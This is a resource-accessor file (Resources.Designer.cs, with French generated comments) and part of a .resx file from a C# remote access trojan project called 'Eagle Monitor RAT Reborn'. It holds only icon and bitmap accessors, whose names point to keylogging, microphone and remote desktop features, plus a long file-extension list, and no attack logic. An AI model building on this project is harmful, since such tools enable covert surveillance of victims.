Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.Designer.cs ================================================ //------------------------------------------------------------------------------ // // Ce code a été généré par un outil. // Version du runtime :4.0.30319.42000 // // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si // le code est régénéré. // //------------------------------------------------------------------------------ namespace Eagle_Monitor_RAT_Reborn.Properties { using System; /// /// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. /// // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder // à l'aide d'un outil, tel que ResGen ou Visual Studio. // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen // avec l'option /str ou régénérez votre projet VS. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// /// Retourne l'instance ResourceManager mise en cache utilisée par cette classe. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Eagle_Monitor_RAT_Reborn.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// /// Remplace la propriété CurrentUICulture du thread actuel pour toutes /// les recherches de ressources à l'aide de cette classe de ressource fortement typée. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap add_32px { get { object obj = ResourceManager.GetObject("add_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap back_32px { get { object obj = ResourceManager.GetObject("back_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap Binary_Code_32px { get { object obj = ResourceManager.GetObject("Binary_Code_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap broken_link_32px { get { object obj = ResourceManager.GetObject("broken_link_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap direction_32px { get { object obj = ResourceManager.GetObject("direction_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap disconnected_32px { get { object obj = ResourceManager.GetObject("disconnected_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap documents_folder_32px { get { object obj = ResourceManager.GetObject("documents_folder_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap download_32px { get { object obj = ResourceManager.GetObject("download_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap downloads_folder_32px { get { object obj = ResourceManager.GetObject("downloads_folder_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap eagle2 { get { object obj = ResourceManager.GetObject("eagle2", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon eagle21 { get { object obj = ResourceManager.GetObject("eagle21", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap end_32px { get { object obj = ResourceManager.GetObject("end_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une chaîne localisée semblable à 7Z ///ACE ///ADA ///ADB ///ADS ///AIF ///ANI ///API ///ARC ///ARJ ///ART ///ASC ///ASF ///ASM ///ASP ///ASPX ///ASX ///AU3 ///AVI ///BAK ///BAS ///BASH ///BAT ///BFC ///BIN ///BMP ///BUD ///BZ2 ///C ///CAB ///CAT ///CBL ///CBT ///CDA ///CDT ///CER ///CFML ///CGI ///CHM ///CLASS ///CLP ///CMAKE ///CMD ///CMF ///COM ///CPL ///CPP ///CS ///CSS ///CSV ///CTY ///CWK ///CWS ///CUR ///D ///DAO ///DAT ///DB ///DBF ///DD ///DEB ///DEV ///DFM ///DIC ///DIF ///DIR ///DLL ///DMG ///DOC ///DOCKERFILE ///DOCM ///DOCX ///DOT ///DOTX ///DPR ///DRV ///DS ///DUN ///DWG ///DXF ///EL ///ELM ///EMACS ///EMF ///EML ///EPS ///EPS2 ///ERL ///EVE ///EXE ///EX ///EXS ///FFL ///FFO ///FLA ///FLV ///FON ///FNT ///FS ///FSH ///FSI /// [le reste de la chaîne a été tronqué]";. /// internal static string extensions { get { return ResourceManager.GetString("extensions", resourceCulture); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap file_32px { get { object obj = ResourceManager.GetObject("file_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap file_delete_32px { get { object obj = ResourceManager.GetObject("file_delete_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap folder_32px { get { object obj = ResourceManager.GetObject("folder_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap forward_32px { get { object obj = ResourceManager.GetObject("forward_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap github_2x { get { object obj = ResourceManager.GetObject("github@2x", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_advanced_search { get { object obj = ResourceManager.GetObject("icons8_advanced_search", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_Binary_Code { get { object obj = ResourceManager.GetObject("icons8_Binary_Code", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_c_plus_plus { get { object obj = ResourceManager.GetObject("icons8_c_plus_plus", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_categorize { get { object obj = ResourceManager.GetObject("icons8_categorize", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_chat { get { object obj = ResourceManager.GetObject("icons8_chat", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_command_line { get { object obj = ResourceManager.GetObject("icons8_command_line", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_computer_virus { get { object obj = ResourceManager.GetObject("icons8_computer_virus", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_control_panel { get { object obj = ResourceManager.GetObject("icons8_control_panel", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_create { get { object obj = ResourceManager.GetObject("icons8_create", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_database_backup { get { object obj = ResourceManager.GetObject("icons8_database_backup", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_download { get { object obj = ResourceManager.GetObject("icons8_download", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_electronics { get { object obj = ResourceManager.GetObject("icons8_electronics", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_ethernet_on { get { object obj = ResourceManager.GetObject("icons8_ethernet_on", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_file_explorer { get { object obj = ResourceManager.GetObject("icons8_file_explorer", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_imac { get { object obj = ResourceManager.GetObject("icons8_imac", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_index { get { object obj = ResourceManager.GetObject("icons8_index", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_informatics { get { object obj = ResourceManager.GetObject("icons8_informatics", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_information { get { object obj = ResourceManager.GetObject("icons8_information", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap icons8_information_32 { get { object obj = ResourceManager.GetObject("icons8_information_32", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_key { get { object obj = ResourceManager.GetObject("icons8_key", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_keyboard { get { object obj = ResourceManager.GetObject("icons8_keyboard", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_lock_file { get { object obj = ResourceManager.GetObject("icons8_lock_file", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_mail { get { object obj = ResourceManager.GetObject("icons8_mail", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_microphone { get { object obj = ResourceManager.GetObject("icons8_microphone", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_microsoft_admin { get { object obj = ResourceManager.GetObject("icons8_microsoft_admin", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_new_property { get { object obj = ResourceManager.GetObject("icons8_new_property", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_parcel { get { object obj = ResourceManager.GetObject("icons8_parcel", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_private_folder { get { object obj = ResourceManager.GetObject("icons8_private_folder", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_question_mark { get { object obj = ResourceManager.GetObject("icons8_question_mark", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_remote_desktop { get { object obj = ResourceManager.GetObject("icons8_remote_desktop", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_schedule_mail { get { object obj = ResourceManager.GetObject("icons8_schedule_mail", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_security_document { get { object obj = ResourceManager.GetObject("icons8_security_document", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_settings { get { object obj = ResourceManager.GetObject("icons8_settings", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_signal { get { object obj = ResourceManager.GetObject("icons8_signal", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_single_line_text_input { get { object obj = ResourceManager.GetObject("icons8_single_line_text_input", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_source_code { get { object obj = ResourceManager.GetObject("icons8_source_code", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_system_task { get { object obj = ResourceManager.GetObject("icons8_system_task", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_text_input_form { get { object obj = ResourceManager.GetObject("icons8_text_input_form", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_time_machine { get { object obj = ResourceManager.GetObject("icons8_time_machine", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_todo_list { get { object obj = ResourceManager.GetObject("icons8_todo_list", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_Tools { get { object obj = ResourceManager.GetObject("icons8_Tools", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_user { get { object obj = ResourceManager.GetObject("icons8_user", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_video_call { get { object obj = ResourceManager.GetObject("icons8_video_call", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_visual_basic { get { object obj = ResourceManager.GetObject("icons8_visual_basic", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon icons8_wrench { get { object obj = ResourceManager.GetObject("icons8_wrench", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon imageres_15 { get { object obj = ResourceManager.GetObject("imageres_15", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// internal static System.Drawing.Icon imageres_4 { get { object obj = ResourceManager.GetObject("imageres_4", resourceCulture); return ((System.Drawing.Icon)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap key_32px { get { object obj = ResourceManager.GetObject("key_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap login_32px { get { object obj = ResourceManager.GetObject("login_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap microphone_32px { get { object obj = ResourceManager.GetObject("microphone_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap minus_32px { get { object obj = ResourceManager.GetObject("minus_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap pause_32px { get { object obj = ResourceManager.GetObject("pause_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap pin_32px { get { object obj = ResourceManager.GetObject("pin_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap replay_32px { get { object obj = ResourceManager.GetObject("replay_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap resume_button_32px { get { object obj = ResourceManager.GetObject("resume_button_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap save_32px { get { object obj = ResourceManager.GetObject("save_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap send_letter_32px { get { object obj = ResourceManager.GetObject("send_letter_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap single_line_text_input_32px { get { object obj = ResourceManager.GetObject("single_line_text_input_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap text_input_form_32px { get { object obj = ResourceManager.GetObject("text_input_form_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap time_machine_32px { get { object obj = ResourceManager.GetObject("time_machine_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap uninstall_programs_32px { get { object obj = ResourceManager.GetObject("uninstall_programs_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap user_32px { get { object obj = ResourceManager.GetObject("user_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap video_call_32px { get { object obj = ResourceManager.GetObject("video_call_32px", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ..\Resources\single_line_text_input_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\Binary Code_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\forward_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_video_call.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\user_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_user.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\video_call_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\eagle2.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_index.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_system_task.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\imageres_4.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\send_letter_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\time_machine_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_microsoft_admin.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_wrench.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_keyboard.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\save_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 7Z ACE ADA ADB ADS AIF ANI API ARC ARJ ART ASC ASF ASM ASP ASPX ASX AU3 AVI BAK BAS BASH BAT BFC BIN BMP BUD BZ2 C CAB CAT CBL CBT CDA CDT CER CFML CGI CHM CLASS CLP CMAKE CMD CMF COM CPL CPP CS CSS CSV CTY CWK CWS CUR D DAO DAT DB DBF DD DEB DEV DFM DIC DIF DIR DLL DMG DOC DOCKERFILE DOCM DOCX DOT DOTX DPR DRV DS DUN DWG DXF EL ELM EMACS EMF EML EPS EPS2 ERL EVE EXE EX EXS FFL FFO FLA FLV FON FNT FS FSH FSI FSX GIF GID GO GRP GZ H HEX HLP HT HQX HTM HTML ICL ICM ICO IFF IPYNB INC INF INI INO ISO JAR JAVA JPEG JPG JS JSP JSX KBM KDC KIZ KQP KT KTM KTS L LAB LESS LEX LG LGO LHZ LIT LL LNK LOG LSP LUA M M3U M4A M4V MAQ MAR MD MDB MDL MFM MHT MHTML MID MM MOD MOV MPA MP3 MP4 MPG MPEG MPP MSG MSI NASM NCF NDX NFF NFF NITF NLM O OBD OCX ODP ODS ODT OFT OGG OST OTF OZ PAGES PAK PAS PCL PCT PDF PDR PERL PHP PHTML PIF PKG PL PM PM3 PM4 PM5 PM6 PNG POL POT POTM POTX PPA PPAM PPD PPK PPS PPSX PPSM PPT PPTX PPTM PRN PS PSD PSP PST PY PYP PYT PYW PUB PWL QBB QBW QIF QXD RA RAM RAR RAW RDO REG RM RPM RSC RSS RTF SAV SCALA SBT SC SCR SEA SGML SH SHTML SIT SLK SMD SQL SVG SWF SWP SYS TAR TAR.GZ TCW TEX TGA THMX TIF TIFF TMP TTF TXT UDF UUE VB VBS VBX VM VXD WAV WMA WMF WMV WPD WPS WRI WSF WSZ XCF XIF XHTML XLA XLAM XLR XLS XLSB XLSM XLSX XLT XLTM XLTX XLW XML XPS XSL YBK Z ZIP ZSH ..\Resources\key_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_key.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_Tools.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_visual_basic.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\download_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\microphone_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_security_document.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_control_panel.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_time_machine.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\replay_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_source_code.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_advanced_search.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_settings.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_informatics.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_parcel.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\folder_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\file_delete_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\file_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_mail.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\back_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\minus_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\downloads_folder_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_private_folder.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\disconnected_32px.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_microphone.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\icons8_chat.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\add_32px.png;System.Drawing.Bitmap, System.Drawing, 